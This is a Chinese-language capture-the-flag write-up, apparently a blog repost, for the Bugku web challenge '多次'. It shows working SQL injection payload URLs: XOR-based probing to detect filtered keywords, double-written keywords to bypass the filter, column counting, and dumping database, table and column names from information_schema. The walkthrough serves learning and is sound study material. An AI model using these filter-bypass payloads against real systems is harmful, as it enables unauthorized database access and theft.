bugku-Web-多次(異或注入,判斷被過濾的關鍵字)
阿新 • • 發佈:2018-12-17
進去看到url感覺是sql注入,
加上',報錯但是%23不報錯,加上'--+,也不報錯,說明可以用--+註釋
加上' or 1=1--+,報錯
嘗試' oorr 1=1--+,正常
說明or被過濾了.
那麼怎麼判斷哪些關鍵字被過濾了呢,這裡用到異或注入(同真異假)。
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+
如果返回正常說明union被過濾了。
這樣嘗試出來被過濾的關鍵字:union、select、and、or、(order、information中含or)
由最上面知道雙寫可以繞過過濾
猜欄位數
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2 --+ 正常
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 3 --+ 報錯
暴庫:
id=-1' ununionion selselectect 1,batabase()--+
web1002-1
暴表:123.206.87.240:9004/1ndex.php?id=-1' ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web1002-1'--+ flag1
爆列名:
123.206.87.240:9004/1ndex.php?id=-1' ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
flag1,address
下一階段如果爆出flag1,會出來一串字元
嘗試爆出address的話出現下一關地址,進入下一關